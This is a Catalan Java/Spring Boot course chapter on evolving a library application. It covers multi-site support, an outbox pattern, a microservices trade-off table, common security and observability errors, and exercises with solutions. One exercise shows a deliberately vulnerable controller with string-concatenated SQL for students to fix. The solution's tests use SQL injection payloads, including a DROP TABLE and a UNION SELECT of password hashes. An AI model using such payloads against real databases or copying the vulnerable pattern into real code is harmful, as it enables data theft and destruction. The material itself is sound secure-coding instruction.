Nexus Software creix i BiblioTech ha de créixer amb ella. Quatre escenaris i com s'abordarien:

1. Multiseu. L'empresa obre oficines a València i Lisboa; cadascuna amb el seu fons.

// El domini incorpora la seu com a concepte de primera classe
public record Seu(Long id, String nom, String ciutat, ZoneId zonaHoraria) { }

public class Exemplar {                    // NOU: separar Material de les seves copies fisiques
    private Material material;             // el "que" (compartit)
    private Seu seu;                       // el "on"
    private String codiIntern;
    private EstatExemplar estat;
}

Compte amb les zones horàries: les multes es calculen per dies, i un dia no comença a la mateixa hora a Madrid i a Lisboa. El Clock injectable de 10-05 passa a ser un Clock per seu.

2. Notificacions per correu de debò. Ja existeix el port NotificadorAvisos (12-01), així que és qüestió d'escriure un adaptador nou — amb dues cures: enviament asíncron per no bloquejar la petició, i reintents amb retrocés exponencial, perquè els servidors SMTP fallen.

@Component
class NotificadorCorreuAmbReintents implements NotificadorAvisos {

    @Async
    @Retryable(retryFor = MailException.class, maxAttempts = 3,
               backoff = @Backoff(delay = 2000, multiplier = 3))
    public void notificar(Avis avis) { … }

    @Recover
    void alExhaurirReintents(MailException e, Avis avis) {
        // A una cua de fallits, per a reintent manual. MAI perdre un avis en silenci.
        repositoriAvisosFallits.desar(AvisFallit.de(avis, e));
    }
}

3. Aplicació mòbil. No requereix canvis: l'API REST de 12-04 ja és el seu back-end. El que sí que cal afegir és allò específic de mòbil: notificacions push, sincronització sense connexió, i paginació per cursor (12-04) perquè al mòbil es fa desplaçament infinit.

4. Esdeveniments. BiblioTech ja publica esdeveniments interns amb ApplicationEventPublisher (12-02). Quan altres sistemes de Nexus Software necessitin reaccionar-hi, aquests esdeveniments surten a una cua:

@Component
class PublicadorEsdevenimentsExterns {

    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
    public void publicar(MaterialRetornat esdeveniment) {
        // Patro "outbox": desar aquest esdeveniment a la MATEIXA transaccio que el
        // canvi, i publicar-lo despres en un proces a part.
        // Sense aixo, una fallada posterior al commit fa perdre el missatge.
        repositoriSortida.desar(EsdevenimentSortida.de(esdeveniment));
    }
}

El patró outbox resol un problema real: no hi ha transacció distribuïda entre la base de dades i la cua de missatges, així que desar l'esdeveniment a la mateixa transacció que el canvi és l'única manera de garantir que tots dos passen o cap dels dos.

  1. Quan NO trossejar en microserveis

Arribats a aquest punt, algú proposarà dividir BiblioTech en servei-cataleg, servei-prestecs, servei-notificacions i servei-informes. Convé tenir clars els costos.

Aspecte Monòlit modular Microserveis
Desplegament Un Un per servei
Transaccions ACID de sèrie Consistència eventual, saga
Depuració Una traça de pila Traces distribuïdes obligatòries
Refactoritzar entre mòduls El compilador ajuda Canvi coordinat de contractes
Latència entre components Nanosegons Mil·lisegons, i fallades de xarxa
Proves d'integració Directes Contractes, dobles, entorns
Escalar una part Escales tot Només el que cal
Equips independents Coordinació Autonomia
Cost operatiu Baix Alt i permanent

Quan NO trossejar:

  • L'equip té menys de 15-20 persones. Amb menys, la coordinació no és el coll d'ampolla.
  • No hi ha problemes d'escalat que l'escalat horitzontal (12-06) no resolgui.
  • No hi ha fronteres de domini clares. Trossejar malament produeix un monòlit distribuït: els inconvenients de les dues opcions i els avantatges de cap.
  • No hi ha experiència operativa: observabilitat, desplegament, gestió de fallades parcials.
  • La raó és «és el que es porta».

Quan sí:

  • Equips que es trepitgen constantment al mateix codi.
  • Una part amb requisits d'escalat radicalment diferents.
  • Necessitat de tecnologies diferents per a parts diferents.
  • Aïllament de fallades crític.

I el camí intermedi, que és el que gairebé sempre guanya: un monòlit modular, que és exactament el que BiblioTech és des de 12-01. Mòduls amb fronteres que el compilador verifica, comunicació per interfícies, i un sol desplegament. Si algun dia un mòdul necessita sortir, en surt — i en surt fàcilment, precisament perquè la frontera ja estava definida.

La recomanació de Martin Fowler, i la més sensata que hi ha sobre aquest tema: comença amb un monòlit ben modularitzat i extreu-ne serveis quan el dolor ho justifiqui. Gairebé ningú no ha tingut èxit començant per microserveis; molta gent n'ha tingut extraient-los d'un monòlit que entenia bé.

Errors Comuns i Consells

1. Desar contrasenyes amb SHA-256. És un bon algorisme per a allò per a què va ser dissenyat, i la seva velocitat —la seva virtut— és el defecte exacte per a contrasenyes. BCrypt o Argon2id.

2. JWT de llarga durada sense revocació. Un token de 24 hores robat és accés durant 24 hores. Vigència curta més token de refresc revocable.

3. Posar dades sensibles al JWT. No està xifrat. Qualsevol el llegeix.

4. Confiar només en la seguretat de l'URL. @PreAuthorize als serveis també, perquè la CLI i les tasques programades no passen pels controladors.

5. Oblidar la comprovació de propietat. Estar autenticat no significa que aquell préstec sigui teu. És la vulnerabilitat de control d'accés més freqüent.

6. Mètriques amb etiquetes d'alta cardinalitat. tag("isbn", isbn) crea una sèrie temporal per ISBN i tomba Prometheus.

7. Registrar cossos complets de peticions. Contrasenyes, tokens i dades personals acaben a l'agregador durant mesos.

8. Alertar sobre causes en lloc de sobre símptomes. «CPU alta» s'ignora en dues setmanes. «El 3 % de les peticions falla» requereix acció.

9. Alertes sense runbook. A les tres de la matinada, ningú no recorda què cal fer. Enllaça el procediment des de la mateixa alerta.

10. Trencar l'API sense avisar. Eliminar un camp trenca tots els clients. Deprecia amb capçaleres, mesura'n l'ús i dona mesos de marge.

11. Actualitzar Spring Boot dues versions majors de cop. Puja una menor cada vegada, amb la suite en verd a cada salt.

12. Trossejar en microserveis «perquè toca». Sense equips grans, fronteres clares i experiència operativa, és canviar problemes coneguts per problemes pitjors.

Consell final d'aquesta part: la seguretat i l'observabilitat no s'afegeixen al final. Es dissenyen des del principi, encara que s'implementin després. BiblioTech les ha pogut afegir ara sense traumes per una raó concreta: tenia arquitectura (12-01), fronteres clares (12-02), errors estructurats (mòdul 6), correlació amb MDC (11-07) i configuració externa (12-01). En un projecte sense això, afegir seguretat i observabilitat és una reescriptura.

Exercicis

Exercici 1: tancar una vulnerabilitat de control d'accés

Aquest endpoint és en producció a BiblioTech:

@RestController
@RequestMapping("/api/empleats")
public class EmpleatController {

    @GetMapping("/{id}")
    public Empleat perId(@PathVariable Long id) {
        return repositori.findById(id).orElseThrow();
    }

    @GetMapping("/{id}/prestecs")
    public List<Prestec> prestecs(@PathVariable Long id) {
        return prestecRepositori.findByEmpleatId(id);
    }

    @PutMapping("/{id}")
    public Empleat actualitzar(@PathVariable Long id, @RequestBody Empleat empleat) {
        empleat.setId(id);
        return repositori.save(empleat);
    }

    @GetMapping("/cercar")
    public List<Empleat> cercar(@RequestParam String nom) {
        return em.createQuery("select e from Empleat e where e.nom like '%" + nom + "%'",
                              Empleat.class).getResultList();
    }
}

Identifica totes les vulnerabilitats (n'hi ha almenys set), classifica-les per gravetat i reescriu el controlador de forma segura, amb les proves de seguretat corresponents.

Exercici 2: mètriques i alertes d'una funcionalitat nova

BiblioTech incorpora la renovació automàtica: els préstecs que vencen i no tenen reserves pendents es renoven sols cada nit.

Dissenya l'observabilitat completa:

  • Quines mètriques instrumentar (nom, tipus, etiquetes) i per què.
  • Què es registra i en quin nivell.
  • Tres alertes útils, amb la seva expressió PromQL, el seu llindar justificat i la seva acció.
  • Els panells del quadre de comandament.
  • Com detectaries que la funcionalitat ha deixat d'executar-se sense que ningú se n'assabenti.

Exercici 3: pla d'evolució de l'API

BiblioTech v1 té aquest endpoint, consumit per l'app mòbil, la intranet i un sistema de recursos humans:

GET /api/v1/prestecs/42
{
  "id": 42,
  "isbn": "978-0000000001",
  "empleat": "Marta Ruiz",
  "venciment": "2026-08-20",
  "retornat": false,
  "multa": 0
}

Cal una v2 amb: empleat com a objecte ({id, nom, correu}), retornat substituït per estat (enumerat), multa com a objecte ({quantitat, moneda}), i camps nous renovable i diesRestants.

Escriu el pla complet de migració: estratègia de versionat, com conviuen les dues versions, cronograma de depreciació, com mesures qui continua a v1, la comunicació als clients i el codi de totes dues versions.


Solucions

Solució 1

Vulnerabilitats identificades (nou):

# Vulnerabilitat Gravetat Impacte
1 Injecció SQL a /cercar Crítica Lectura i modificació de tota la base de dades
2 Sense autenticació a cap endpoint Crítica Accés públic a dades personals
3 IDOR a /{id} i /{id}/prestecs Crítica Qualsevol veu les dades de qualsevol
4 Assignació massiva al PUT amb entitat Crítica Canviar rol, hashContrasenya o version
5 Exposició d'entitat JPA Alta El JSON inclou el hash de la contrasenya
6 PUT sense comprovar autorització Alta Qualsevol modifica qualsevol
7 orElseThrow() sense excepció específica Mitjana NoSuchElementException → 500 en lloc de 404
8 Sense paginació a /cercar Mitjana Denegació de servei amb una cerca àmplia
9 Sense límit de llargada al nom Baixa Consultes costoses

Reescriptura completa:

@RestController
@RequestMapping("/api/v1/empleats")
@Validated
@Tag(name = "Empleats")
public class EmpleatController {

    private final ServeiEmpleats servei;
    private final GestionarPrestecs prestecs;

    // ---------------------------------------------------------------
    // Consultar un empleat: o ets tu, o ets ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmpleatResponse perId(@PathVariable Long id) {
        return servei.cercarPerId(id)
                .map(EmpleatResponse::desDe)           // DTO: sense hash de contrasenya, sense rol intern
                .orElseThrow(() -> new EmpleatNoTrobatException(id));        // → 404
    }

    // ---------------------------------------------------------------
    // Prestecs: els propis, o BIBLIOTECARI/ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}/prestecs")
    @PreAuthorize("#id == authentication.principal.id or hasAnyRole('BIBLIOTECARI','ADMIN')")
    public PageResponse<PrestecResponse> prestecsDe(
            @PathVariable Long id,
            @RequestParam(required = false) EstatPrestec estat,
            @PageableDefault(size = 20, sort = "dataPrestec",
                             direction = Sort.Direction.DESC) Pageable paginacio) {

        if (!servei.existeix(id)) throw new EmpleatNoTrobatException(id);

        return PageResponse.desDe(
                prestecs.deEmpleat(id, estat, paginacio).map(PrestecResponse::desDe));
    }

    // ---------------------------------------------------------------
    // Actualitzacio: DTO tancat, mai una entitat
    // ---------------------------------------------------------------
    @PutMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmpleatResponse actualitzar(@PathVariable Long id,
                                       @Valid @RequestBody ActualitzarEmpleatRequest peticio) {
        // El DTO NOMES te els camps modificables.
        // Es IMPOSSIBLE enviar rol, hashContrasenya, version o id.
        return EmpleatResponse.desDe(servei.actualitzar(id, peticio));
    }

    // ---------------------------------------------------------------
    // Canvi de rol: endpoint SEPARAT, nomes ADMIN, auditat
    // ---------------------------------------------------------------
    @PutMapping("/{id}/rol")
    @PreAuthorize("hasRole('ADMIN')")
    @Auditat(accio = "CANVIAR_ROL")
    public EmpleatResponse canviarRol(@PathVariable Long id,
                                      @Valid @RequestBody CanviarRolRequest peticio) {
        return EmpleatResponse.desDe(servei.canviarRol(id, peticio.rol()));
    }

    // ---------------------------------------------------------------
    // Cerca: parametritzada, paginada, amb llargada limitada
    // ---------------------------------------------------------------
    @GetMapping("/cercar")
    @PreAuthorize("hasAnyRole('BIBLIOTECARI','ADMIN')")
    public PageResponse<EmpleatResumResponse> cercar(
            @RequestParam @Size(min = 2, max = 100) String nom,
            @PageableDefault(size = 20) Pageable paginacio) {

        return PageResponse.desDe(
                servei.cercarPerNom(nom, paginacio)        // consulta PARAMETRITZADA
                      .map(EmpleatResumResponse::desDe));  // resum: encara menys dades
    }
}

Els DTOs, que són on resideix la defensa estructural:

/** Sortida: nomes el que aquest endpoint ha de revelar. */
public record EmpleatResponse(Long id, String nom, String correu,
                              String departament, LocalDate dataAlta) {
    // SENSE hashContrasenya, SENSE rol, SENSE version, SENSE dades internes
    public static EmpleatResponse desDe(Empleat e) {
        return new EmpleatResponse(e.getId(), e.getNom(), e.getCorreu(),
                                   e.getDepartament(), e.getDataAlta());
    }
}

/** Resum per a llistats: encara menys informacio. */
public record EmpleatResumResponse(Long id, String nom, String departament) { }

/** Entrada: NOMES els camps que un usuari pot canviar de si mateix. */
public record ActualitzarEmpleatRequest(
        @NotBlank @Size(max = 150) String nom,
        @NotBlank @Email @Size(max = 200) String correu,
        @Size(max = 100) String departament) {
    // Ni id, ni rol, ni contrasenya, ni version. Estructuralment impossible.
}

public record CanviarRolRequest(@NotNull Rol rol) { }

I la consulta segura:

public interface EmpleatRepository extends JpaRepository<Empleat, Long> {

    /** Parametritzada: el valor MAI no es tracta com a SQL. */
    @Query("""
           select e from Empleat e
           where lower(e.nom) like lower(concat('%', :nom, '%'))
           """)
    Page<Empleat> cercarPerNom(@Param("nom") String nom, Pageable paginacio);
}

Proves de seguretat, que són les que impedeixen que la vulnerabilitat torni:

@WebMvcTest(EmpleatController.class)
@Import(ConfiguracioSeguretat.class)
class EmpleatControllerSeguretatTest {

    @Autowired MockMvc mvc;
    @MockitoBean ServeiEmpleats servei;

    @Test
    void senseAutenticacioRetorna401() throws Exception {
        mvc.perform(get("/api/v1/empleats/1"))
                .andExpect(status().isUnauthorized());
    }

    @Test
    @WithMockUser(username = "2", roles = "EMPLEAT")
    void unEmpleatNoPotVeureLesDadesDeUnAltre() throws Exception {
        mvc.perform(get("/api/v1/empleats/1"))    // qui te la sessio es el 2 i demana les del 1
                .andExpect(status().isForbidden());   // ← IDOR tancat
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEAT")
    void unEmpleatSiPotVeureLesSevesDades() throws Exception {
        when(servei.cercarPerId(1L)).thenReturn(Optional.of(unEmpleat(1L, "Marta Ruiz")));

        mvc.perform(get("/api/v1/empleats/1"))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.nom").value("Marta Ruiz"))
                // Comprovar EXPLICITAMENT que no es filtra res
                .andExpect(jsonPath("$.hashContrasenya").doesNotExist())
                .andExpect(jsonPath("$.rol").doesNotExist())
                .andExpect(jsonPath("$.version").doesNotExist());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEAT")
    void noEsPodenEscalarPrivilegisEnLaActualitzacio() throws Exception {
        // Assignacio massiva: enviar camps que el DTO no te
        mvc.perform(put("/api/v1/empleats/1")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("""
                                {"nom":"Marta Ruiz","correu":"[email protected]",
                                 "rol":"ADMIN","hashContrasenya":"elquesigui","id":999}"""))
                .andExpect(status().isOk());

        // Els camps maliciosos queden IGNORATS: el DTO no els te
        ArgumentCaptor<ActualitzarEmpleatRequest> captor =
                ArgumentCaptor.forClass(ActualitzarEmpleatRequest.class);
        verify(servei).actualitzar(eq(1L), captor.capture());
        assertThat(captor.getValue().nom()).isEqualTo("Marta Ruiz");
        // No hi ha manera que 'rol' hagi arribat al servei
    }

    @ParameterizedTest
    @ValueSource(strings = {
        "'; DROP TABLE empleats; --",
        "' OR '1'='1",
        "%' UNION SELECT hash_contrasenya FROM empleats --"
    })
    @WithMockUser(roles = "BIBLIOTECARI")
    void laCercaEsImmuneAInjeccioSql(String carregaMaliciosa) throws Exception {
        when(servei.cercarPerNom(anyString(), any())).thenReturn(Page.empty());

        mvc.perform(get("/api/v1/empleats/cercar").param("nom", carregaMaliciosa))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.contingut").isEmpty());

        // La carrega arriba com a VALOR literal al repositori, no com a SQL
        verify(servei).cercarPerNom(eq(carregaMaliciosa), any());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEAT")
    void unEmpleatNoPotCanviarRols() throws Exception {
        mvc.perform(put("/api/v1/empleats/1/rol")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("{\"rol\":\"ADMIN\"}"))
                .andExpect(status().isForbidden());
    }
}

Solució 2

Mètriques:

Mètrica Tipus Etiquetes Per què
bibliotech.renovacio_auto.execucions Counter resultat (exit, fallada) S'executa, el procés?
bibliotech.renovacio_auto.duracio Timer S'està degradant?
bibliotech.renovacio_auto.candidats Gauge Quants préstecs avalua?
bibliotech.renovacio_auto.renovats Counter tipus_material El resultat útil
bibliotech.renovacio_auto.omesos Counter motiu La més informativa
bibliotech.renovacio_auto.ultima_execucio Gauge Marca de temps: detecta que ha deixat de córrer

La clau és a omesos amb etiqueta motiu (amb reserves, ja renovat, empleat amb multes, material retirat): si un motiu es dispara, hi ha un canvi de comportament que cap mètrica agregada no revelaria.

@Service
public class RenovacioAutomatica {

    private static final Logger log = LoggerFactory.getLogger(RenovacioAutomatica.class);

    private final MeterRegistry registre;
    private final AtomicLong ultimaExecucio = new AtomicLong(0);

    @PostConstruct
    void registrarGauges() {
        Gauge.builder("bibliotech.renovacio_auto.ultima_execucio", ultimaExecucio, AtomicLong::get)
                .description("Marca de temps Unix de la darrera execucio correcta")
                .register(registre);
    }

    @Scheduled(cron = "0 0 3 * * *")
    @SchedulerLock(name = "renovacioAutomatica", lockAtMostFor = "30m")   // 12-06
    public void executar() {
        Timer.Sample mostra = Timer.start(registre);
        MDC.put("proces", "renovacio-automatica");
        MDC.put("traceId", UUID.randomUUID().toString());

        int renovats = 0;
        Map<String, Integer> omesos = new HashMap<>();

        try {
            List<Prestec> candidats = repositori.vencenEn(1);
            registre.gauge("bibliotech.renovacio_auto.candidats", candidats.size());

            log.info("Renovacio automatica iniciada: {} candidats", candidats.size());

            for (Prestec p : candidats) {
                Optional<String> motiu = motiuPerNoRenovar(p);
                if (motiu.isPresent()) {
                    omesos.merge(motiu.get(), 1, Integer::sum);
                    registre.counter("bibliotech.renovacio_auto.omesos",
                                     "motiu", motiu.get()).increment();
                    // DEBUG: es el cas normal i no ha de saturar el log
                    log.debug("Prestec {} omes: {}", p.getId(), motiu.get());
                    continue;
                }
                gestor.renovar(p.getId(), null);
                renovats++;
                registre.counter("bibliotech.renovacio_auto.renovats",
                                 "tipus_material", p.tipusMaterial().name()).increment();
            }

            ultimaExecucio.set(Instant.now().getEpochSecond());
            registre.counter("bibliotech.renovacio_auto.execucions", "resultat", "exit")
                    .increment();

            // INFO: una linia amb el RESUM. Es el que un operador voldria veure (11-07).
            log.info("Renovacio automatica completada: {} candidats, {} renovats, omesos={}",
                     candidats.size(), renovats, omesos);

        } catch (Exception e) {
            registre.counter("bibliotech.renovacio_auto.execucions", "resultat", "fallada")
                    .increment();
            log.error("Renovacio automatica fallida despres de renovar-ne {}", renovats, e);
            throw e;
        } finally {
            mostra.stop(registre.timer("bibliotech.renovacio_auto.duracio"));
            MDC.clear();       // regla de 11-07
        }
    }
}

Les tres alertes:

# ALERTA 1: el procés ha deixat d'executar-se.
# La MÉS IMPORTANT, perquè és una fallada SILENCIOSA: res no dona error,
# simplement els préstecs deixen de renovar-se i ningú no se n'assabenta
# fins que comencen a arribar multes indegudes.
- alert: RenovacioAutomaticaNoExecutada
  expr: (time() - bibliotech_renovacio_auto_ultima_execucio) > 93600      # 26 hores
  for: 10m
  labels: { severitat: alta }
  annotations:
    summary: "La renovació automàtica no s'executa des de fa {{ $value | humanizeDuration }}"
    accio: |
      1. Existeix el CronJob/planificador? kubectl get cronjob bibliotech-renovacio
      2. Hi ha un bloqueig de ShedLock encallat? select * from shedlock where name='renovacioAutomatica'
      3. Executar manualment: bibliotech prestec renovar-automatic --simular
    runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#renovacio-auto"

# ALERTA 2: s'executa però falla
- alert: RenovacioAutomaticaFallant
  expr: increase(bibliotech_renovacio_auto_execucions_total{resultat="fallada"}[25h]) > 0
  for: 5m
  labels: { severitat: alta }
  annotations:
    summary: "La renovació automàtica ha fallat"
    accio: "Buscar als logs: proces=renovacio-automatica level=ERROR"

# ALERTA 3: canvi brusc de comportament.
# Detecta que una regla s'ha trencat: per exemple, un error que fa que
# TOT s'ometi per 'amb_reserves' quan abans no passava.
- alert: RenovacioAutomaticaComportamentAnomal
  expr: |
    (sum(increase(bibliotech_renovacio_auto_renovats_total[25h]))
     / sum(increase(bibliotech_renovacio_auto_candidats[25h]))) < 0.2
    and sum(increase(bibliotech_renovacio_auto_candidats[25h])) > 20
  for: 30m
  labels: { severitat: mitjana }
  annotations:
    summary: "Només es renova el {{ $value | humanizePercentage }} dels candidats"
    descripcio: "Revisa la distribució de bibliotech_renovacio_auto_omesos per motiu"

Panells del quadre de comandament:

Panell Consulta Tipus
Darrera execució time() - bibliotech_renovacio_auto_ultima_execucio Estadística amb llindar
Renovats per dia increase(bibliotech_renovacio_auto_renovats_total[1d]) Barres
Omesos per motiu sum(increase(...omesos_total[1d])) by (motiu) Barres apilades
Taxa de renovació renovats / candidats Mesurador
Durada bibliotech_renovacio_auto_duracio_seconds Sèrie temporal

Com detectar que ha deixat d'executar-se — el punt central de l'exercici. Hi ha tres enfocaments, i només un funciona bé:

Enfocament Problema
Alerta si el comptador no creix Un dia sense candidats és normal: fals positiu
Alerta si hi ha un error Si el procés no s'engega, no hi ha error que registrar
Gauge amb la marca de temps de la darrera execució ✅ Funciona: és un dead man's switch

La tècnica es diu interruptor d'home mort: en lloc d'alertar quan alguna cosa va malament, s'alerta quan deixa d'arribar el senyal que tot va bé. És l'únic patró que detecta que un procés ha desaparegut, i s'aplica igual a tasques programades, a còpies de seguretat i a qualsevol procés periòdic.

Solució 3

Estratègia: versió a l'URI, /api/v1/ i /api/v2/ convivint.

Cronograma:

Data Fita
2026-09-01 v2 publicada; v1 marcada com a obsoleta amb capçaleres
2026-09-01 Guia de migració, documentació i mètriques d'ús de v1
2026-10-01 Primer avís als clients amb ús mesurat
2027-01-01 Avís final (1 mes) a qui continuï a v1
2027-02-01 v1 retirada: 410 Gone amb enllaç a v2

Cinc mesos de marge, que és el mínim raonable amb tres clients dels quals un (recursos humans) no controles.

Codi de les dues versions, compartint el mateix cas d'ús:

// ---------------- V1: OBSOLETA ----------------
@RestController
@RequestMapping("/api/v1/prestecs")
@Tag(name = "Prestecs v1", description = "OBSOLETA — es retira el 2027-02-01")
public class PrestecControllerV1 {

    private final GestionarPrestecs gestor;       // el MATEIX cas de us que v2
    private final MeterRegistry registre;

    @GetMapping("/{id}")
    @Deprecated(since = "2.0.0", forRemoval = true)
    @Operation(deprecated = true, summary = "[OBSOLET] Fes servir GET /api/v2/prestecs/{id}")
    public ResponseEntity<PrestecResponseV1> perId(
            @PathVariable Long id,
            @RequestHeader(value = "X-Client", defaultValue = "desconegut") String client) {

        // Mesurar QUI continua fent servir v1: sense aixo, retirar-la es una aposta
        registre.counter("bibliotech.api.v1.us", "client", client, "endpoint", "prestec_per_id")
                .increment();

        Prestec prestec = gestor.cercar(id).orElseThrow(() -> new PrestecNoTrobatException(id));

        return ResponseEntity.ok()
                .header("Deprecation", "@1756684800")                    // RFC 8594: epoch
                .header("Sunset", "Mon, 01 Feb 2027 00:00:00 GMT")
                .header("Link", "</api/v2/prestecs/" + id + ">; rel=\"successor-version\", "
                              + "<https://docs.nexussoftware.com/bibliotech/migracio-v2>; rel=\"deprecation\"")
                .header("Warning", "299 - \"Aquesta versio de l'API es retirara el 2027-02-01\"")
                .body(PrestecResponseV1.desDe(prestec));
    }
}

/** DTO de v1: es CONGELA. Ja no se li afegeix ni se li treu res mai mes. */
public record PrestecResponseV1(Long id, String isbn, String empleat,
                                LocalDate venciment, boolean retornat, BigDecimal multa) {

    public static PrestecResponseV1 desDe(Prestec p) {
        return new PrestecResponseV1(
                p.getId(), p.getIsbn().valor(), p.nomEmpleat(),
                p.getDataVenciment(),
                p.getDataDevolucio().isPresent(),
                p.multaAcumulada(LocalDate.now()).quantitat());
    }
}
// ---------------- V2: ACTUAL ----------------
@RestController
@RequestMapping("/api/v2/prestecs")
@Tag(name = "Prestecs")
public class PrestecControllerV2 {

    @GetMapping("/{id}")
    public PrestecResponseV2 perId(@PathVariable Long id) {
        Prestec prestec = gestor.cercar(id).orElseThrow(() -> new PrestecNoTrobatException(id));
        return PrestecResponseV2.desDe(prestec, LocalDate.now(rellotge));
    }
}

public record PrestecResponseV2(
        Long id,
        String isbn,
        EmpleatResum empleat,              // objecte, no cadena
        LocalDate dataPrestec,
        LocalDate dataVenciment,
        LocalDate dataDevolucio,
        EstatPrestec estat,                // enumerat, no boolea
        Import multa,                      // objecte amb moneda
        boolean renovable,                 // NOU
        long diesRestants) {               // NOU

    public record EmpleatResum(Long id, String nom, String correu) { }
    public record Import(BigDecimal quantitat, String moneda) { }

    public static PrestecResponseV2 desDe(Prestec p, LocalDate avui) {
        return new PrestecResponseV2(
                p.getId(), p.getIsbn().valor(),
                new EmpleatResum(p.getIdEmpleat(), p.nomEmpleat(), p.correuEmpleat()),
                p.getDataPrestec(), p.getDataVenciment(),
                p.getDataDevolucio().orElse(null),
                p.getEstat(),
                new Import(p.multaAcumulada(avui).quantitat(), "EUR"),
                p.getEstat().permetRenovar(),
                ChronoUnit.DAYS.between(avui, p.getDataVenciment()));
    }
}

La retirada, que deixa un rastre útil en lloc d'un 404 desconcertant:

@RestController
@RequestMapping("/api/v1")
@Profile("post-retirada-v1")
public class ControladorV1Retirada {

    @RequestMapping("/**")
    public ResponseEntity<ProblemDetail> retirada(HttpServletRequest peticio) {
        ProblemDetail detall = ProblemDetail.forStatusAndDetail(
                HttpStatus.GONE,      // 410, no 404: "va existir i es va eliminar expressament"
                "La versio 1 de l'API es va retirar el 2027-02-01. Migra a /api/v2.");
        detall.setTitle("Versio de l'API retirada");
        detall.setType(URI.create("https://docs.nexussoftware.com/bibliotech/migracio-v2"));
        detall.setProperty("versioActual", "v2");
        detall.setProperty("guiaMigracio", "https://docs.nexussoftware.com/bibliotech/migracio-v2");

        return ResponseEntity.status(HttpStatus.GONE)
                .header("Link", "</api/v2>; rel=\"successor-version\"")
                .body(detall);
    }
}

Mesura de qui continua a v1:

# Ús de v1 per client en els darrers 7 dies
sum(increase(bibliotech_api_v1_us_total[7d])) by (client)

# Percentatge de trànsit que continua a v1
sum(rate(bibliotech_api_v1_us_total[1d]))
/ (sum(rate(bibliotech_api_v1_us_total[1d])) + sum(rate(bibliotech_api_v2_us_total[1d])))
- alert: UsDeV1DespresDeLaRetirada
  expr: sum(increase(bibliotech_api_v1_us_total[1d])) by (client) > 0
  labels: { severitat: mitjana }
  annotations:
    summary: "El client {{ $labels.client }} continua fent servir l'API v1"
    accio: "Contactar-hi abans del 2027-02-01"

Comunicació als clients:

# Migració de l'API de BiblioTech: v1 → v2

**La v1 es retirarà l'1 de febrer de 2027.**

## Què canvia

| Camp v1 | Camp v2 | Canvi |
|---|---|---|
| `empleat` (cadena) | `empleat.nom` | Ara és un objecte amb `id`, `nom` i `correu` |
| `venciment` | `dataVenciment` | Reanomenat |
| `retornat` (booleà) | `estat` (enumerat) | `ACTIU`, `RENOVAT`, `VENCUT`, `RETORNAT`, `PERDUT` |
| `multa` (nombre) | `multa.quantitat` + `multa.moneda` | Objecte amb moneda explícita |
| — | `renovable` | **Nou** |
| — | `diesRestants` | **Nou** |
| — | `dataPrestec`, `dataDevolucio` | **Nous** |

## Equivalències

// v1 const estaRetornat = resposta.retornat; const nom = resposta.empleat; const multa = resposta.multa;

// v2 const estaRetornat = resposta.estat === 'RETORNAT'; const nom = resposta.empleat.nom; const multa = resposta.multa.quantitat;

## Cronograma
- **2026-09-01**: v2 disponible. v1 obsoleta (funciona amb normalitat).
- **2027-01-01**: avís final.
- **2027-02-01**: v1 retirada. Retornarà `410 Gone`.

## Ajuda
[email protected] — o obre una incidència al repositori.

I una decisió de disseny que val la pena assenyalar: v1 i v2 comparteixen el mateix cas d'ús (GestionarPrestecs). Només canvien els DTOs i els controladors. Sense l'arquitectura de 12-01, mantenir dues versions significaria duplicar la lògica de negoci, i d'aquí que les dues versions es comportin diferent hi ha un pas.


Conclusió: tancament del curs

El viatge de BiblioTech, mòdul a mòdul

Dotze mòduls enrere, BiblioTech no existia. Aquesta taula és el viatge complet:

Mòdul BiblioTech en començar BiblioTech en acabar
1. Introducció a Java Res. Ni un fitxer Un programa que compila i s'executa: variables, tipus, operadors, entrada per consola amb Scanner, sortida amb printf. Un primer catàleg de tres llibres amb les seves dades
2. Flux de Control Un programa lineal que només executa instruccions en ordre Un menú interactiu amb condicionals, bucles, switch i validació d'entrada. I la capacitat de depurar-lo pas a pas en lloc d'endevinar
3. POO Variables soltes i mètodes estàtics Objectes: Material, Llibre, Empleat, Prestec amb estat i comportament propis. Herència, polimorfisme, encapsulament, abstracció i equals/hashCode/toString ben fets
4. POO Avançada Jerarquies de classes i poca cosa més Contractes: interfícies Prestable i Notificable, classes abstractes, lambdes, interfícies funcionals, referències a mètodes, enum amb comportament i record per a les dades immutables
5. Col·leccions Arrays de mida fixa Tot el framework de col·leccions: llistes, mapes, conjunts, cues, piles. Ordenació amb Comparator, cerques, i una pila de desfer
6. Excepcions Fallades que avortaven el programa amb una traça Una jerarquia pròpia BiblioTechException, try-with-resources, estratègies per capes, frontera d'errors i logging
7. Fitxers Tot en memòria: es perdia en tancar Persistència: E/S clàssica, NIO.2, serialització, un catàleg en CSV i configuració en Properties. Les dades sobreviuen al procés
8. Concurrència Una sola cosa alhora Fils, synchronized, ExecutorService, col·leccions concurrents i CompletableFuture. La importació del catàleg va passar de minuts a segons
9. Xarxes Un programa aïllat en una màquina Comunicació: un ServidorCataleg multiclient amb sockets, UDP, i un client HTTP consultant metadades externes
10. Temes Avançats Java 8 fet servir a mitges Java 21 de debò: genèrics, anotacions pròpies, reflexió i proxies dinàmics, Streams i Optional, java.time amb Clock injectable, sealed, pattern matching, fils virtuals, i mesura real de memòria i rendiment
11. Frameworks Tot escrit a mà, inclòs un contenidor de dependències casolà L'ecosistema: projecte Maven, Spring Boot amb IoC i AOP, JPA/Hibernate sobre base de dades, 41 proves amb JUnit 5 i Mockito, Jackson, Lombok i SLF4J amb MDC
12. Món Real Peces excel·lents sense forma de producte Un producte: cinc mòduls Maven amb l'arquitectura verificada pel compilador, patrons aplicats amb criteri, CLI professional, API REST documentada, estratègia de qualitat amb Testcontainers i mutació, desplegat en contenidors amb migracions versionades, i amb seguretat, observabilitat i pla d'evolució

